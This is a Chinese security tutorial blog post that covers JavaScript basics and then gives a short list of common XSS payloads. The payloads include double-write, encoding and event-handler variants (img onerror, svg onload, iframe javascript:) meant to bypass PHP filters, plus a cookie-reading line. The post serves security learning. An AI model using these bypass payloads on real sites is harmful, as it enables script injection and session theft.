网络安全-js安全知识点与XSS常用payloads

devtools/2025/2/22 22:33:27/

简介

JavaScript 是一种轻量级的编程语言,定义了HTML的行为。它与Java的关系类似周杰和周杰伦的关系(即没有关系)。

用法

HTML 中的脚本必须位于 <script> 与 </script> 标签之间。

脚本可被放置在 HTML 页面的 <body> 和 <head> 部分中。

JS必备知识

输出与注释

输出

  • 使用 window.alert() 弹出警告框。
  • 使用 document.write() 方法将内容写到 HTML 文档中。
  • 使用 innerHTML 写入到 HTML 元素。
  • 使用 console.log() 写入到浏览器的控制台。

<script>
window.alert('lady_killer9');
</script>

网络<a class=安全-js安全知识点与XSS常用payloads_网络安全" height="145" src="https://i-blog.csdnimg.cn/img_convert/668914d6c975bcaf63b875dee8ef2dfa.png" width="240" />

<p>内容写到html文档。</p>
<script>
document.write('Frankyu');
</script>

网络<a class=安全-js安全知识点与XSS常用payloads_正则表达式_02" height="103" src="https://i-blog.csdnimg.cn/img_convert/d953e0cd79e4b55fdffe83d878fc8971.png" width="238" />

<script>
a = 5;
b = 4;
c = a + b;
console.log('lady_killer'+c);
</script>

网络<a class=安全-js安全知识点与XSS常用payloads_正则表达式_03" height="170" src="https://i-blog.csdnimg.cn/img_convert/6ebeca0a43190b2134eb485224a97ee1.png" width="1226" />

注释

单行注释以 // 开头。多行注释以 /* 开始,以 */ 结尾。

语法

关键字var来定义局部变量,没有关键字时为全局变量,页面上所有脚本和函数都能访问。

使用 ; 来分隔语句

使用 \ 来进行折行

运算符、条件控制与c++差不多

值类型(基本类型):字符串(String)、数字(Number)、布尔(Boolean)、对空(Null)、未定义(Undefined)、Symbol。

引用数据类型:对象(Object)、数组(Array)、函数(Function)。

动态类型,即变量可以改为不同类型。

面向对象语言,对象有属性和方法。

函数

关键字function定义一个函数

参数默认值为undefined,argument 对象包含了函数调用的参数数组。

关键字return来返回值

function myFunction(var1,var2,...)
{
代码

return something;
}

字符串方法

字符串方法
方法描述
charAt()返回指定索引位置的字符
charCodeAt()返回指定索引位置字符的 Unicode 值
concat()连接两个或多个字符串,返回连接后的字符串
fromCharCode()将 Unicode 转换为字符串
indexOf()返回字符串中检索指定字符第一次出现的位置
lastIndexOf()返回字符串中检索指定字符最后一次出现的位置
localeCompare()用本地特定的顺序来比较两个字符串
match()找到一个或多个正则表达式的匹配
replace()替换与正则表达式匹配的子串
search()检索与正则表达式相匹配的值
slice()提取字符串的片断,并在新的字符串中返回被提取的部分
split()把字符串分割为子字符串数组
substr()从起始索引号提取字符串中指定数目的字符
substring()提取字符串中两个指定的索引号之间的字符
toLocaleLowerCase()根据主机的语言环境把字符串转换为小写,只有几种语言(如土耳其语)具有地方特有的大小写映射
toLocaleUpperCase()根据主机的语言环境把字符串转换为大写,只有几种语言(如土耳其语)具有地方特有的大小写映射
toLowerCase()把字符串转换为小写
toString()返回字符串对象值
toUpperCase()把字符串转换为大写
trim()移除字符串首尾空白
valueOf()返回某个字符串对象的原始值

事件

HTML 事件可以是浏览器行为,也可以是用户行为。

常见HTML事件
事件描述
onchangeHTML 元素改变
onclick用户点击 HTML 元素
onmouseover用户在一个HTML元素上移动鼠标
onmouseout用户从一个HTML元素上移开鼠标
onkeydown用户按下键盘按键
onload浏览器已完成页面的加载
onerror出错时执行,用于故意构造错误时执行代码

表单

document.forms[表单名][变量名]

Cookie

<script>document.cookie</script>

代码执行

eval函数将参数作为js代码执行

伪协议

javascript:js代码,可以放到Html标签中

XSS常用payload

普通

<script>alert('XSS')</script>
<script>document.cookie</script>

    双写绕过

    例如,php中使用str_replace函数替换<script>

    <scr<script>ipt>alert('XSS')</scr<script>ipt>

      编码绕过

      例如,php中使用mysqli_real_escape_string函数转义特殊字符

      "><script>alert(String.fromCharCode(88,83,83))</script>

        html标签绕过正则

        例如,php中使用preg_filter函数进行正则匹配删除script

        登录后复制 

        <img src=x onerror=alert('XSS');>
        <img src=x:alert(alt) onerror=eval(src) alt=xss>
        "><svg/onload=alert(/XSS/)
        <div onpointerover="alert(45)">MOVE HERE</div>
        <IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
        <A HREF=http://127.0.0.1/phpinfo.php>link</A>

         

        网络安全学习路线

        对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

        同时每个成长路线对应的板块都有配套的视频提供:

        需要网络安全学习路线和视频教程的可以在评论区留言哦~

        最后

        给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。

        黑客工具&SRC技术文档&PDF书籍&web安全等(可分享)

        结语

        网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

        特别声明:
        此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失


        http://www.ppmy.cn/devtools/161043.html

        相关文章

        HTML之JavaScript Form表单事件

        HTML之JavaScript Form表单事件 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title…

        Selenium实战案例2:东方财富网股吧评论爬取

        上一篇文章&#xff0c;我们使用Selenium完成了网页内文件的自动下载,本文我们将使用Selenium来爬取东方财富网股吧内笔记的评论数据。 网页内容分析 网页内容的分析是web自动化中的关键一步。通过分析网页结构&#xff0c;我们可以确定需要抓取的数据位置以及操作元素的方式。…

        unity学习49:寻路网格链接 offMeshLinks, 以及传送门效果

        目录 1 网格链接 offMeshLinks 功能入口 1.1 unity 2022之前 1.2 unity 2022之后 2 网格链接 offMeshLinks 功能设置 3 点击 offMeshLinks 功能里的bake 3.1 unity 2022之前 3.2 unity 2022之后 3.3 实测link 3.4 跳跃距离增大&#xff0c;可以实现轻功类的效果 4 …

        C++STL容器之list

        1.介绍 list是标准模版库&#xff08;STL&#xff09;提供的一个双向链表容器。它允许在常数时间内进行插入或删除操作&#xff0c;但不支持随机访问。&#xff08;即不能通过下边直接访问元素&#xff09;。list是一个序列容器&#xff0c;适合需要频繁插入和删除操作的场景。…

        PostgreSQL:更新字段慢

        目录标题 PostgreSQL 慢查询优化与 pg_stat_statements 使用1. 启用慢查询日志2. 使用 pg_stat_statements 扩展收集查询统计信息3. 查找执行时间较长的查询4. 分析慢查询的执行计划5. 优化查询6. 检查并发连接和系统资源7. 进一步优化8. 查看某条SQL1. **如何生成 query_id**2…

        【大模型】量化、剪枝、蒸馏

        大模型的量化、剪枝和蒸馏是三种常用的模型优化技术&#xff0c;旨在减少模型的复杂性&#xff0c;降低计算资源消耗&#xff0c;并加速推理过程。下面是每种技术的详细介绍&#xff1a; 1. 量化&#xff08;Quantization&#xff09; 量化是将浮点数表示的模型参数&#xff…

        Kafka在Windows系统使用delete命令删除Topic时出现的问题

        在使用Windows的Kafka时&#xff0c;想要删除某一个主题&#xff0c;发现使用了delete之后会一直报警告。下面是我发现错误之后重新实测的Bug 先创建2个topic kafka-topics.bat --bootstrap-server localhost:9092 --topic test1 --createkafka-topics.bat --bootstrap-serve…

        驱动开发WDK(1)-环境准备和初始程序。详细教程

        得而不惜就该死 --yui 断断续续开始我的逆向部分。 Windows Driver Kit 一、准备 1、visual studio安装&#xff1a;如何下载Visual Studio2022编译器。详细教程_visual studio 2022下载教程-CSDN博客 2、sdk安装&#xff1a;默认已安装 3、wdk安装&#xff1a; win10版…